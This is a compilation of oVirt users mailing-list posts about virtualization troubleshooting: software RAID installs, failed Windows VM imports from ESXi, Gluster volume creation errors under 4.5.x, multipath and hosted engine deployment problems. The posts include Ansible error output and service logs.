https://access.redhat.com/solutions/4194011 it worked for me with 
RHEL8 and Centos 8 earlier, but now with Ovirt Node NG 4.5.5 it 
doesn't work for me.


after restart, I see EFI record I can boot, but it doesn't see any 
raid array.


thank you for any help here.


jirka


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[ovirt-users] Install oVirt node NG on SW raid

[Jirka Simon]

Hello oVirt folks,

is there any way to install oVirt node next with sw raid (mirror) I have 
two disks and i would like to use them for redundancy.


I know there is way to migrate from single disk to raid, 
https://access.redhat.com/solutions/4194011 it worked for me with RHEL8 
and Centos 8 earlier, but now with Ovirt Node NG 4.5.5 it doesn't work 
for me.


after restart, I see EFI record I can boot, but it doesn't see any raid 
array.


thank you for any help here.


jirka


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[ovirt-users] Re: [External] : Re: Cannot successfully import Windows vm to new ovirt deployment

[Simon Coter]

Did you try with one smaller VM ?
At the same time, are you able to check if the OVF works on other hypervisors 
(like VirtualBox on your laptop) ?

Simon

On Oct 27, 2023, at 12:50 AM, Michaal Rutledge  wrote:

Yes, I see that it identifies the boot record (though, why it's MBR and not GPT 
is beyond me).

Yes, the VM was shut down properly prior to OVF export. And it's not an OVA. 
Also, this happens to EVERY VM I've tried to import from ESXi, so there seems 
to be something more to this to me.

Michaal Rutledge
netrac...@mac.com<mailto:netrac...@mac.com>
972-896-4948

On 10/26/2023 4:54 PM, Simon Coter wrote:
virt-v2v identifies the MBR but it’s not able to mount :)
was the VM properly shutdown on VMware when you did the export ?
An alternative plan could be to:


  *   extract the OVA content (by “tar” command)
  *   convert the vdisk to qcow2 format (by qemu-img)
  *   import the vdisk
  *   create one new Windows VM and add the imported disk
  *   try to boot :)

ps: once the disk is imported you can also evaluate its status by presenting 
the same to an other VM (and there try to mount)

Simon

On Oct 26, 2023, at 11:49 PM, Michaal Rutledge 
<mailto:netrac...@mac.com> wrote:

But previously, Tomas said that he could see where virt-v2v DID properly 
identify the OS, so why is virt-v2v unable to determine how to mount the disk 
to load the OS? Even during the import stage, it properly identifies the 
partitions, so why is it failing is what I'm not seeing. It boots in ESXi just 
fine, that's where the OVF was exported from. Disk has no errors there. So I 
kinda need a little more to go on here. Nice to know it can't mount the boot 
partition, would be nicer to know WHY it can't mount the boot partition when it 
boots in VMware without issue. Is there something that needs to be done to the 
VM and it's OS drive before it's exported?

Michaal Rutledge
netrac...@mac.com<mailto:netrac...@mac.com>
972-896-4948

On 10/26/2023 4:31 PM, Simon Coter wrote:
It’s failing due to this error:

import-75636d68-d067-4570-84b3-3829c5cf1963-20231026T153906.log: content: 
DOS/MBR boot sector MS-MBR Windows 7 english at offset 0x163 "Invalid partition 
table" at offset 0x17b "Error loading operating system" at offset 0x19a 
"Missing operating system"; partition 1 : ID=0xee, start-CHS (0x0,0,2), end-CHS 
(0x1fb,254,63), startsector 1, 4294967295 sectors

So, “virt-v2v” is not able to get your Windows-7 disk mounted to load the OS.

Simon

On Oct 26, 2023, at 11:23 PM, Michaal R via Users 
<mailto:users@ovirt.org> wrote:

Okay, it seems it got a bit further, but still errored out. I watched it get 
past the disk import (or what looked like the disk import), but I couldn't see 
in the vdsm.log file where it failed the remaining import. I tried as both 
Other OS and as Linux (just in case the latter had a chance), but still 
failures. There were errors from vdsmd like "cannot lookup default selinux 
label for /var/tmp/.guestfs-36/appliance.d/initrd" and some SELinux errors with 
access control from qemu-kvm (the latter of which I ran the fix scripts for as 
suggested by Cockpit). Below are the log file links from this run.

vdsm.log: 
https://urldefense.com/v3/__https://www.dropbox.com/scl/fi/aylya0u16l55ef8k36qu8/vdsm-10.26.23-15.37.log?rlkey=mawo0smdau51ja4a042bhsrqi&dl=0__;!!ACWV5N9M2RV99hQ!NHFEfX3K7rmRgLY00KvhRZsvZ4f_N6dn0tAShyfcyeYZ9A99xucudf2C1mGtfYvttSOAKQb_maUM6w$
import log 1: 
https://urldefense.com/v3/__https://www.dropbox.com/scl/fi/xuwslr1sz9lrvbyhacasa/import-75636d68-d067-4570-84b3-3829c5cf1963-20231026T153906.log?rlkey=kned3464ek7ctsggqddix0dsi&dl=0__;!!ACWV5N9M2RV99hQ!NHFEfX3K7rmRgLY00KvhRZsvZ4f_N6dn0tAShyfcyeYZ9A99xucudf2C1mGtfYvttSOAKQZjHc7hRg$
import log 2: 
https://urldefense.com/v3/__https://www.dropbox.com/scl/fi/yuimr3j0hwdpkz4siofum/import-4a6237d9-05a0-4d5a-a7b1-ff01764a761f-20231026T155635.log?rlkey=y6kp8ttd59sbh0j8k16eauvsw&dl=0__;!!ACWV5N9M2RV99hQ!NHFEfX3K7rmRgLY00KvhRZsvZ4f_N6dn0tAShyfcyeYZ9A99xucudf2C1mGtfYvttSOAKQb2bdYygQ$
import log 3: 
https://urldefense.com/v3/__https://www.dropbox.com/scl/fi/ipeol7uk00gimyn6rgfrg/import-44bb07d9-fb1d-4e91-a025-35dc70b55cd8-20231026T160749.log?rlkey=yrrznpyagxhhgkwqsokgmk09z&dl=0__;!!ACWV5N9M2RV99hQ!NHFEfX3K7rmRgLY00KvhRZsvZ4f_N6dn0tAShyfcyeYZ9A99xucudf2C1mGtfYvttSOAKQYrVJ_ATw$
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[ovirt-users] Re: [External] : Re: Cannot successfully import Windows vm to new ovirt deployment

[Simon Coter]

virt-v2v identifies the MBR but it’s not able to mount :)
was the VM properly shutdown on VMware when you did the export ?
An alternative plan could be to:


  *   extract the OVA content (by “tar” command)
  *   convert the vdisk to qcow2 format (by qemu-img)
  *   import the vdisk
  *   create one new Windows VM and add the imported disk
  *   try to boot :)

ps: once the disk is imported you can also evaluate its status by presenting 
the same to an other VM (and there try to mount)

Simon

On Oct 26, 2023, at 11:49 PM, Michaal Rutledge  wrote:

But previously, Tomas said that he could see where virt-v2v DID properly 
identify the OS, so why is virt-v2v unable to determine how to mount the disk 
to load the OS? Even during the import stage, it properly identifies the 
partitions, so why is it failing is what I'm not seeing. It boots in ESXi just 
fine, that's where the OVF was exported from. Disk has no errors there. So I 
kinda need a little more to go on here. Nice to know it can't mount the boot 
partition, would be nicer to know WHY it can't mount the boot partition when it 
boots in VMware without issue. Is there something that needs to be done to the 
VM and it's OS drive before it's exported?

Michaal Rutledge
netrac...@mac.com<mailto:netrac...@mac.com>
972-896-4948

On 10/26/2023 4:31 PM, Simon Coter wrote:
It’s failing due to this error:

import-75636d68-d067-4570-84b3-3829c5cf1963-20231026T153906.log: content: 
DOS/MBR boot sector MS-MBR Windows 7 english at offset 0x163 "Invalid partition 
table" at offset 0x17b "Error loading operating system" at offset 0x19a 
"Missing operating system"; partition 1 : ID=0xee, start-CHS (0x0,0,2), end-CHS 
(0x1fb,254,63), startsector 1, 4294967295 sectors

So, “virt-v2v” is not able to get your Windows-7 disk mounted to load the OS.

Simon

On Oct 26, 2023, at 11:23 PM, Michaal R via Users 
<mailto:users@ovirt.org> wrote:

Okay, it seems it got a bit further, but still errored out. I watched it get 
past the disk import (or what looked like the disk import), but I couldn't see 
in the vdsm.log file where it failed the remaining import. I tried as both 
Other OS and as Linux (just in case the latter had a chance), but still 
failures. There were errors from vdsmd like "cannot lookup default selinux 
label for /var/tmp/.guestfs-36/appliance.d/initrd" and some SELinux errors with 
access control from qemu-kvm (the latter of which I ran the fix scripts for as 
suggested by Cockpit). Below are the log file links from this run.

vdsm.log: 
https://urldefense.com/v3/__https://www.dropbox.com/scl/fi/aylya0u16l55ef8k36qu8/vdsm-10.26.23-15.37.log?rlkey=mawo0smdau51ja4a042bhsrqi&dl=0__;!!ACWV5N9M2RV99hQ!NHFEfX3K7rmRgLY00KvhRZsvZ4f_N6dn0tAShyfcyeYZ9A99xucudf2C1mGtfYvttSOAKQb_maUM6w$
import log 1: 
https://urldefense.com/v3/__https://www.dropbox.com/scl/fi/xuwslr1sz9lrvbyhacasa/import-75636d68-d067-4570-84b3-3829c5cf1963-20231026T153906.log?rlkey=kned3464ek7ctsggqddix0dsi&dl=0__;!!ACWV5N9M2RV99hQ!NHFEfX3K7rmRgLY00KvhRZsvZ4f_N6dn0tAShyfcyeYZ9A99xucudf2C1mGtfYvttSOAKQZjHc7hRg$
import log 2: 
https://urldefense.com/v3/__https://www.dropbox.com/scl/fi/yuimr3j0hwdpkz4siofum/import-4a6237d9-05a0-4d5a-a7b1-ff01764a761f-20231026T155635.log?rlkey=y6kp8ttd59sbh0j8k16eauvsw&dl=0__;!!ACWV5N9M2RV99hQ!NHFEfX3K7rmRgLY00KvhRZsvZ4f_N6dn0tAShyfcyeYZ9A99xucudf2C1mGtfYvttSOAKQb2bdYygQ$
import log 3: 
https://urldefense.com/v3/__https://www.dropbox.com/scl/fi/ipeol7uk00gimyn6rgfrg/import-44bb07d9-fb1d-4e91-a025-35dc70b55cd8-20231026T160749.log?rlkey=yrrznpyagxhhgkwqsokgmk09z&dl=0__;!!ACWV5N9M2RV99hQ!NHFEfX3K7rmRgLY00KvhRZsvZ4f_N6dn0tAShyfcyeYZ9A99xucudf2C1mGtfYvttSOAKQYrVJ_ATw$
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[ovirt-users] Re: [External] : Re: Cannot successfully import Windows vm to new ovirt deployment

[Simon Coter]

It’s failing due to this error:

import-75636d68-d067-4570-84b3-3829c5cf1963-20231026T153906.log: content: 
DOS/MBR boot sector MS-MBR Windows 7 english at offset 0x163 "Invalid partition 
table" at offset 0x17b "Error loading operating system" at offset 0x19a 
"Missing operating system"; partition 1 : ID=0xee, start-CHS (0x0,0,2), end-CHS 
(0x1fb,254,63), startsector 1, 4294967295 sectors

So, “virt-v2v” is not able to get your Windows-7 disk mounted to load the OS.

Simon

On Oct 26, 2023, at 11:23 PM, Michaal R via Users  wrote:

Okay, it seems it got a bit further, but still errored out. I watched it get 
past the disk import (or what looked like the disk import), but I couldn't see 
in the vdsm.log file where it failed the remaining import. I tried as both 
Other OS and as Linux (just in case the latter had a chance), but still 
failures. There were errors from vdsmd like "cannot lookup default selinux 
label for /var/tmp/.guestfs-36/appliance.d/initrd" and some SELinux errors with 
access control from qemu-kvm (the latter of which I ran the fix scripts for as 
suggested by Cockpit). Below are the log file links from this run.

vdsm.log: 
https://urldefense.com/v3/__https://www.dropbox.com/scl/fi/aylya0u16l55ef8k36qu8/vdsm-10.26.23-15.37.log?rlkey=mawo0smdau51ja4a042bhsrqi&dl=0__;!!ACWV5N9M2RV99hQ!NHFEfX3K7rmRgLY00KvhRZsvZ4f_N6dn0tAShyfcyeYZ9A99xucudf2C1mGtfYvttSOAKQb_maUM6w$
import log 1: 
https://urldefense.com/v3/__https://www.dropbox.com/scl/fi/xuwslr1sz9lrvbyhacasa/import-75636d68-d067-4570-84b3-3829c5cf1963-20231026T153906.log?rlkey=kned3464ek7ctsggqddix0dsi&dl=0__;!!ACWV5N9M2RV99hQ!NHFEfX3K7rmRgLY00KvhRZsvZ4f_N6dn0tAShyfcyeYZ9A99xucudf2C1mGtfYvttSOAKQZjHc7hRg$
import log 2: 
https://urldefense.com/v3/__https://www.dropbox.com/scl/fi/yuimr3j0hwdpkz4siofum/import-4a6237d9-05a0-4d5a-a7b1-ff01764a761f-20231026T155635.log?rlkey=y6kp8ttd59sbh0j8k16eauvsw&dl=0__;!!ACWV5N9M2RV99hQ!NHFEfX3K7rmRgLY00KvhRZsvZ4f_N6dn0tAShyfcyeYZ9A99xucudf2C1mGtfYvttSOAKQb2bdYygQ$
import log 3: 
https://urldefense.com/v3/__https://www.dropbox.com/scl/fi/ipeol7uk00gimyn6rgfrg/import-44bb07d9-fb1d-4e91-a025-35dc70b55cd8-20231026T160749.log?rlkey=yrrznpyagxhhgkwqsokgmk09z&dl=0__;!!ACWV5N9M2RV99hQ!NHFEfX3K7rmRgLY00KvhRZsvZ4f_N6dn0tAShyfcyeYZ9A99xucudf2C1mGtfYvttSOAKQYrVJ_ATw$
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[ovirt-users] Re: oVirt host deploy: disable multipath

[simon]

Hi Femi,

I'm having the same/similar issue that I just posted about - did you ever 
resolve it?

Regards

Simon...
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[ovirt-users] Emergency Mode following Disk addition

[simon]

Hi All,

I added a new local disk and created a new LVM thinpool, VG and lVm’s for 
Gluster in a 4.5.3 HCI environment.

Following reboot the server enters Emergency Mode caused by inactive LV/VG. 
Running ‘vgchange - ay vg’ activates the LV’s.

LVM is configured to use device file but disabling this and using a filter 
allows the system to start normally. Unfortunately ‘lsblk’ shows that the disk 
is under multipath control.

I’ve tried to exclude this disk from multipath but all efforts have failed.

‘pvscan’ shows the device as /dev/mapper/‘wwid’ instead of /dev/sd*

I’ve added the wwid to the blacklists manually and restarted multipath but 
males no change.

Regards

Simon
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[ovirt-users] Re: Gluster Geo-Replication session not visible in oVirt Manager UI

[simon]

I tested geo-replication DR to another site and was able to attach the Storage 
Domain and import the VMs to the other Data Center. With a stretched VLAN the 
VMs were instantly accessible.

It would still be good to see the Geo-Rep session in the WebUI.
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[ovirt-users] Re: 4.5.2 Create Additional Gluster Logical Volumes fails

[simon]

As a workaround I commented out the sections in the following yaml files where 
the VG, thinpool etc already existed

/etc/ansible/roles/gluster.infra/roles/backend_setup/tasks/main.yml
/etc/ansible/roles/gluster.infra/roles/backend_setup/tasks/vg_create.yml
/etc/ansible/roles/gluster.infra/roles/backend_setup/tasks/thin_pool_create.yml

and ran the task again - It worked :)
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[ovirt-users] Re: oVirt 4.5.x User Creation with Keycloak

[simon]

I'm trying to create a user/group that doesn't have full admin permissions.
Does this capability exist with keycloak for the oVirt environment?
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[ovirt-users] oVirt 4.5.x User Creation with Keycloak

[simon]

Can anyone point me in the direction of documentation to create new users and 
groups to provide specific permissions please?

Thanks

Simon...
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[ovirt-users] Gluster Geo-Replication session not visible in oVirt Manager UI

[simon]

I have previously created Gluster geo-replicated sessions from the command line 
on 4.4.5. These sessions appear in the 'Geo-Replication' Tab of the Gluster 
Volume on the Master.

I've just built 2 new oVirt clusters 4.5.3.2 and configured a geo-replicated 
session. The session doesn't appear in the WebUI but appears to be working when 
checked from the command line.

Any ideas anyone please?

Regards

Simon
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[ovirt-users] Re: OS moves after reboot to different device

[simon]

Thanks Jean-Louis,

I've never had an issue with them changing in the past.

Do you have some documentation/links that would help me in the oVirt 
enviroments please?

Regards

Simon
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[ovirt-users] Re: OS moves after reboot to different device

[simon]

I should clarify that the OS remains on the BOSS card (originally /dev/sda) but 
following a reboot the device name has changed to /dev/sdc
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[ovirt-users] OS moves after reboot to different device

[simon]

Hi All,

I just built a 3 node cluster (4.5.2) with 3 Virtual Disks on identical Dell 
Servers.
First Virtual Disk /dev/sda - BOSS Card - 450GB
Second Virtual Disk /dev/sdb - SSD 14TB
Third Virtual Disk /dev/sdc - HDD 72TB
All OS disks were /dev/sda before reboot
Following reboot only first Node is still /dev/sda - other 2 nodes are now 
/dev/sdc
This obviously makes it impossible to create VG groups and create Gluster 
storage volumes.
Can anyone shed any light on why this is happening and how to prevent it.

Kind regards
Simon
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[ovirt-users] Re: 4.5.2 Create Additional Gluster Logical Volumes fails

[simon]

Hi Ritesh,

Any update please?

Regards

Simon…
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[ovirt-users] Re: 4.5.2 Create Additional Gluster Logical Volumes fails

[simon]

Hi Ritesh,

Any update on this please?

Kind regards

Simon
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[ovirt-users] Re: 4.5.2 Create Additional Gluster Logical Volumes fails

[simon]

Please let me know if this is likely to be a quick fix - if not I'll have to 
manually created additional volumes.

Regards

Simon
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[ovirt-users]Re: Q: Node host “non-operational”

[simon]

In the Admin WebUI go to the following:
'Compute' - 'Clusters'
Click on the cluster containing the Host.
'Logical Networks'
Then click on 'Manage Networks'
If I recall correctly I had the same issue a few years ago and unchecked 
'Require All' for the Network in question. 
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[ovirt-users] Re: 4.5.2 Create Additional Gluster Logical Volumes fails

[simon]

Sorry to hassle you Ritesh but do you have an update please?

Kind regards

Simon...
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[ovirt-users] Re: 4.5.2 Create Additional Gluster Logical Volumes fails

[Simon Scott]

Many thanks Gobinda
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[ovirt-users] Re: 4.5.2 Create Additional Gluster Logical Volumes fails

[Simon Scott]

Is there any intention to fix this issue?

On 25 Nov 2022, at 11:06, Ritesh Chikatwar  wrote:


Gobinda,
Looks like this issue arises because of changes in ansibles roles made to 
support ansible-core. I think the gluster ansible module was used to handle 
this and when we moved to CLI this is been not taken care of.

On Thu, Nov 24, 2022 at 5:06 PM 
mailto:si...@justconnect.ie>> wrote:
Thanks Sandro/Gobinda,

[root@pgsovirthcidmz01 ~]# rpm -qa | grep gluster-ansible
gluster-ansible-roles-1.0.5-28.el8.noarch
gluster-ansible-infra-1.0.4-22.el8.noarch
gluster-ansible-maintenance-1.0.1-12.el8.noarch
gluster-ansible-cluster-1.0-5.el8.noarch
gluster-ansible-repositories-1.0.1-5.el8.noarch
gluster-ansible-features-1.0.5-15.el8.noarch
[root@pgsovirthcidmz01 ~]#

Kind Regards

Simon
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[ovirt-users] Re: 4.5.2 Create Additional Gluster Logical Volumes fails

[simon]

Thanks Sandro/Gobinda,

[root@pgsovirthcidmz01 ~]# rpm -qa | grep gluster-ansible
gluster-ansible-roles-1.0.5-28.el8.noarch
gluster-ansible-infra-1.0.4-22.el8.noarch
gluster-ansible-maintenance-1.0.1-12.el8.noarch
gluster-ansible-cluster-1.0-5.el8.noarch
gluster-ansible-repositories-1.0.1-5.el8.noarch
gluster-ansible-features-1.0.5-15.el8.noarch
[root@pgsovirthcidmz01 ~]#

Kind Regards

Simon
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[ovirt-users] Re: 4.5.2 Create Additional Gluster Logical Volumes fails

[simon]

Bump
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[ovirt-users] Re: Trouble with Ovirt mirrors

[simon]

Looks like the site is down at the moment:

Service Unavailable
The server is temporarily unable to service your request due to maintenance 
downtime or capacity problems. Please try again later.
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[ovirt-users] Re: 4.5.3 api authentication fails

[simon]

Apologies found the answer in this thread:
https://lists.ovirt.org/archives/list/users@ovirt.org/thread/QX4KU2T3WQLTZXHBGCZC2XQPQLHV34ZE/#SR6XHL54PHGN2H6FULYOCCSNARYAIRFG

Thanks to Jonas
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[ovirt-users] 4.5.3 api authentication fails

[simon]

Trying to create 'Compute Resource' in Foreman to 4.5.3 engine but getting 401 
unauthorised error. "Error during SSO authentication: access_denied: Cannot 
authenticate user No valid profile found in credentials.."
I'm out of my depth as far as SSO is concerned so is it possible to disable SSO 
and enable basic auth i.e. admin@internal
Any help appreciated
Regards
Simon...
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[ovirt-users] Re: 4.5.2 Create Additional Gluster Logical Volumes fails

[simon]

Bump
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[ovirt-users] Re: 4.5.2 Create Additional Gluster Logical Volumes fails

[simon]

Any ideas please @Strahil @Sandro @Yedidyah
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[ovirt-users] Re: HostedEngine deployment failure - Help

[simon]

Thanks Sandro,

That's good to hear as I've always had very quick feedback and "support" :)

Kind Regards

Simon
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[ovirt-users] Re: HostedEngine deployment failure - Help

[simon]

Thank you Murilo,

I have just stripped everything back and created a new internal ansible branch 
we use for automated oVirt installations, copied in the relevant inventory 
files and it worked.

Will investigate any differences later but I'm assuming file corruption as the 
same inventory files were copied in.

If I see a reason why it failed I'll post an update here.

Thanks again

Simon...
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[ovirt-users] Re: 4.5.2 Create Additional Gluster Logical Volumes fails

[simon]

I have upgraded all 3 nodes to the latest 4.5.3 and still unable to add 
additional gluster volumes to the same thinpool/vg

There was never an issue prior to 4.5

TASK [gluster.infra/roles/backend_setup : Create volume groups] 

failed: [bdtovirthcidmz02-strg.maskeddomain.com] (item={'key': 
'gluster_vg_sda', 'value': [{'vgname': 'gluster_vg_sda', 'pvname': 
'/dev/sda'}]}) => {"ansible_loop_var": "item", "changed": true, "cmd": 
["vgcreate", "--dataalignment", "2048K", "-s", "2048K", "gluster_vg_sda", 
"/dev/sda"], "delta": "0:00:00.010474", "end": "2022-11-21 16:46:59.090880", 
"item": {"key": "gluster_vg_sda", "value": [{"pvname": "/dev/sda", "vgname": 
"gluster_vg_sda"}]}, "msg": "non-zero return code", "rc": 3, "start": 
"2022-11-21 16:46:59.080406", "stderr": "  /dev/gluster_vg_sda: already exists 
in filesystem\n  Run `vgcreate --help' for more information.", "stderr_lines": 
["  /dev/gluster_vg_sda: already exists in filesystem", "  Run `vgcreate 
--help' for more information."], "stdout": "", "stdout_lines": []}
failed: [bdtovirthcidmz03-strg.maskeddomain.com] (item={'key': 
'gluster_vg_sda', 'value': [{'vgname': 'gluster_vg_sda', 'pvname': 
'/dev/sda'}]}) => {"ansible_loop_var": "item", "changed": true, "cmd": 
["vgcreate", "--dataalignment", "2048K", "-s", "2048K", "gluster_vg_sda", 
"/dev/sda"], "delta": "0:00:00.010713", "end": "2022-11-21 16:48:21.283404", 
"item": {"key": "gluster_vg_sda", "value": [{"pvname": "/dev/sda", "vgname": 
"gluster_vg_sda"}]}, "msg": "non-zero return code", "rc": 3, "start": 
"2022-11-21 16:48:21.272691", "stderr": "  /dev/gluster_vg_sda: already exists 
in filesystem\n  Run `vgcreate --help' for more information.", "stderr_lines": 
["  /dev/gluster_vg_sda: already exists in filesystem", "  Run `vgcreate 
--help' for more information."], "stdout": "", "stdout_lines": []}
failed: [bdtovirthcidmz01-strg.maskeddomain.com] (item={'key': 
'gluster_vg_sda', 'value': [{'vgname': 'gluster_vg_sda', 'pvname': 
'/dev/sda'}]}) => {"ansible_loop_var": "item", "changed": true, "cmd": 
["vgcreate", "--dataalignment", "2048K", "-s", "2048K", "gluster_vg_sda", 
"/dev/sda"], "delta": "0:00:00.011136", "end": "2022-11-21 16:49:09.188463", 
"item": {"key": "gluster_vg_sda", "value": [{"pvname": "/dev/sda", "vgname": 
"gluster_vg_sda"}]}, "msg": "non-zero return code", "rc": 3, "start": 
"2022-11-21 16:49:09.177327", "stderr": "  /dev/gluster_vg_sda: already exists 
in filesystem\n  Run `vgcreate --help' for more information.", "stderr_lines": 
["  /dev/gluster_vg_sda: already exists in filesystem", "  Run `vgcreate 
--help' for more information."], "stdout": "", "stdout_lines": []}
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[ovirt-users] Re: HostedEngine deployment failure - Help

[simon]

Is all oVirt Support now gone - is oVirt dead in the water?
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[ovirt-users] Yet another hosted engine deployment fails 4.5.2

[simon]

New install (4.5.2) and back to square one - install fails. Now the ovirtmgmt 
interface isn't created but vnet0 is - no idea what the cause is as there's 
nothing in the setup logs.

oVirt = 1 step forward 3 steps back - and now with almost no support as the 
project is heading towards the scrap heap - So frustrating. 

Deadline for this install is Monday so I guess it's back to 4.4.6 install 
followed by upgrade path - Arghg!
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[ovirt-users] Re: HostedEngine deployment failure - Help

[simon]

Hadn't finished

Instead the deployment creates vnet0 as the bridge port on virbr0

I can't see anywhere in the setup log that tries to create ovirtmgmt.

Regards

Simon...
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[ovirt-users] HostedEngine deployment failure - Help

[simon]

Hi,

Whilst trying to install 4.5.2 or 4.5.3 creation of ovirtmgmt interface fails 
with no indication of why.

Instead the deployment creates vnet0 as the 
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[ovirt-users] Re: 4.5.2 Create Additional Gluster Logical Volumes fails

[simon]

Am I really the only user to try and create new gluster volumes on an existing 
vg?

Has anyone succeeded in doing this on 4.5.2?
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[ovirt-users] Re: 4.5.2 Create Additional Gluster Logical Volumes fails

[simon]

Does anyone have any input please?
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[ovirt-users] Re: Engine deploy fails - "Wait for the host to be up"

[simon]

Thanks Andreas.

I found my issue was caused by our nic bonding script.

I created the bonds via cockpit on each node first and then ran our build 
scripts (omitting the nic bonding) and it worked first time.

Regards

Simon
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[ovirt-users] Re: Adding Foreman as a provider for Ovirt

[simon]

There was a post in 2015 with a similar issue - 
https://lists.ovirt.org/archives/list/users@ovirt.org/thread/DJQ5OJFNIHUQV7F4U2S2XXJIYFFL7RFM/
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[ovirt-users] Re: 4.5.2 Create Additional Gluster Logical Volumes fails

[simon]

Is this because lvmdevices has removed the requirement for lvm filter?

Obviously the change to lvmdevices occurred post initial gluster volume 
creation - but how do we I fix it?

"msg": "non-zero return code",
"rc": 3,
"start": "2022-11-10 16:02:45.225250",
"stderr": "  Configuration setting \"filter\" invalid. It's not part of any 
section.\n  /dev/gluster_vg_sda: already exists in filesystem\n  Run `vgcreate 
--help' for more information.",
"stderr_lines": [
"  Configuration setting \"filter\" invalid. It's not part of any 
section.",
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[ovirt-users] 4.5.2 Create Additional Gluster Logical Volumes fails

[simon]

Hi,

In 4.4 adding additional gluster volumes was a simple ansible task (or via 
cockpit).

With 4.5.2 I tried to add new volumes but the logic has changed/broken. Here's 
the error I am getting:

TASK [gluster.infra/roles/backend_setup : Create volume groups] 

failed: [bdtovirthcidmz02-strg.mydomain.com] (item={'key': 'gluster_vg_sda', 
'value': [{'vgname': 'gluster_vg_sda', 'pvname': '/dev/sda'}]}) => 
{"ansible_loop_var": "item", "changed": true, "cmd": ["vgcreate", 
"--dataalignment", "2048K", "-s", "2048K", "gluster_vg_sda", "/dev/sda"], 
"delta": "0:00:00.010442", "end": "2022-11-10 13:11:16.717772", "item": {"key": 
"gluster_vg_sda", "value": [{"pvname": "/dev/sda", "vgname": 
"gluster_vg_sda"}]}, "msg": "non-zero return code", "rc": 3, "start": 
"2022-11-10 13:11:16.707330", "stderr": "  Configuration setting \"filter\" 
invalid. It's not part of any section.\n  /dev/gluster_vg_sda: already exists 
in filesystem\n  Run `vgcreate --help' for more information.", "stderr_lines": 
["  Configuration setting \"filter\" invalid. It's not part of any section.", " 
 /dev/gluster_vg_sda: already exists in filesystem", "  Run `vgcreate --help' 
for more information."], "stdout": "", "stdout_lines": []}
failed: [bdtovirthcidmz03-strg.mydomain.com] (item={'key': 'gluster_vg_sda', 
'value': [{'vgname': 'gluster_vg_sda', 'pvname': '/dev/sda'}]}) => 
{"ansible_loop_var": "item", "changed": true, "cmd": ["vgcreate", 
"--dataalignment", "2048K", "-s", "2048K", "gluster_vg_sda", "/dev/sda"], 
"delta": "0:00:00.010231", "end": "2022-11-10 13:12:35.607565", "item": {"key": 
"gluster_vg_sda", "value": [{"pvname": "/dev/sda", "vgname": 
"gluster_vg_sda"}]}, "msg": "non-zero return code", "rc": 3, "start": 
"2022-11-10 13:12:35.597334", "stderr": "  Configuration setting \"filter\" 
invalid. It's not part of any section.\n  /dev/gluster_vg_sda: already exists 
in filesystem\n  Run `vgcreate --help' for more information.", "stderr_lines": 
["  Configuration setting \"filter\" invalid. It's not part of any section.", " 
 /dev/gluster_vg_sda: already exists in filesystem", "  Run `vgcreate --help' 
for more information."], "stdout": "", "stdout_lines": []}
failed: [bdtovirthcidmz01-strg.mydomain.com] (item={'key': 'gluster_vg_sda', 
'value': [{'vgname': 'gluster_vg_sda', 'pvname': '/dev/sda'}]}) => 
{"ansible_loop_var": "item", "changed": true, "cmd": ["vgcreate", 
"--dataalignment", "2048K", "-s", "2048K", "gluster_vg_sda", "/dev/sda"], 
"delta": "0:00:00.011282", "end": "2022-11-10 13:13:24.336233", "item": {"key": 
"gluster_vg_sda", "value": [{"pvname": "/dev/sda", "vgname": 
"gluster_vg_sda"}]}, "msg": "non-zero return code", "rc": 3, "start": 
"2022-11-10 13:13:24.324951", "stderr": "  Configuration setting \"filter\" 
invalid. It's not part of any section.\n  /dev/gluster_vg_sda: already exists 
in filesystem\n  Run `vgcreate --help' for more information.", "stderr_lines": 
["  Configuration setting \"filter\" invalid. It's not part of any section.", " 
 /dev/gluster_vg_sda: already exists in filesystem", "  Run `vgcreate --help' 
for more information."], "stdout": "", "stdout_lines": []}

The vg was created as part of the initial ansible build with logical volumes 
being added when required.

Any assistance would be greatly appreciated.

Kind regards

Simon
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[ovirt-users] Re: Engine deploy fails - "Wait for the host to be up"

[simon]

The following maybe the issue as we install the site solely using ansible.

https://lists.ovirt.org/archives/list/users@ovirt.org/thread/VBCK7C3Z22K7VZVXDBY5MVZPG5YGFHD6/#O2F6MYURHW2EHBSHLGRXDOZ4NLEEBXU4

As part of the install we configure bonding which hasn’t been a problem until 
now. I’ll disable bonding and run a further test

Simon...
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[ovirt-users] Engine deploy fails - "Wait for the host to be up"

[simon]

I use ansible to build a 3 node HCI environment, or at least I did with 4.4.6.

This fails every time with 4.5.2 - what broke?

Has anyone any idea what changed and if there's a simple resolution?

Kind Regards

Simon...


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[ovirt-users] Re: mom-vdsm service is failing after update to 4.5.3.2-1.el8

[Jirka Simon]

Ahoj Martine,

Thank you, maybe I was to fast (last upgrade I made on Friday 28.9)

today I upgraded the rest of cluster and it looks ok, then I updated 
first nodes again and issue is fixed.


Thank you again.

Jirka

On 10/31/22 10:41, Martin Perina wrote:

Hi,

below error should be fixed in mom-0.6.4, which was included in last 
week's oVirt 4.5.3 async release:


https://lists.ovirt.org/archives/list/users@ovirt.org/message/TCGC54KIG7XIYNBO44WKKLCNZJQITWMO/

Regards,
Martin


On Fri, Oct 28, 2022 at 2:07 PM Jirka Simon  wrote:

Hello there,

we just updated oVirt engine to 4.5.3.2-1.el8 which was smooth,
but then when we start to update all nodes, after restart mom-vdsm
service is failing to start

mom-vdsm

rpm -q vdsm
vdsm-4.50.3.4-1.el8.x86_64 (VDSM was updated from 4.50.2.2-1.el8 )

rpm -q mom
mom-0.6.3-1.el8.noarch  (MOM was not updated duting tha last update)

here is error from /var/log/vdsm/mom.log

2022-10-28 13:17:18,105 - mom - INFO - MOM starting
2022-10-28 13:17:18,138 - mom.HostMonitor - INFO - Host Monitor
starting
2022-10-28 13:17:18,138 - mom - INFO - hypervisor interface
vdsmjsonrpcclient
2022-10-28 13:17:18,179 - mom.HostMonitor - INFO - HostMonitor is
ready
2022-10-28 13:17:18,242 - mom.GuestManager - INFO - Guest Manager
starting: multi-thread
2022-10-28 13:17:18,247 - mom.Policy - INFO - Loaded policy
'00-defines'
2022-10-28 13:17:18,247 - mom - ERROR - Failed to initialize MOM
threads
Traceback (most recent call last):
 File "/usr/lib/python3.6/site-packages/mom/__init__.py", line 35,
in run
   host_monitor, guest_manager)
 File "/usr/lib/python3.6/site-packages/mom/PolicyEngine.py", line
42, in __init__
   self.load_policy()
 File "/usr/lib/python3.6/site-packages/mom/PolicyEngine.py", line
71, in load_policy
   read_policy(fname, name.split('.policy')[0])
 File "/usr/lib/python3.6/site-packages/mom/PolicyEngine.py", line
53, in read_policy
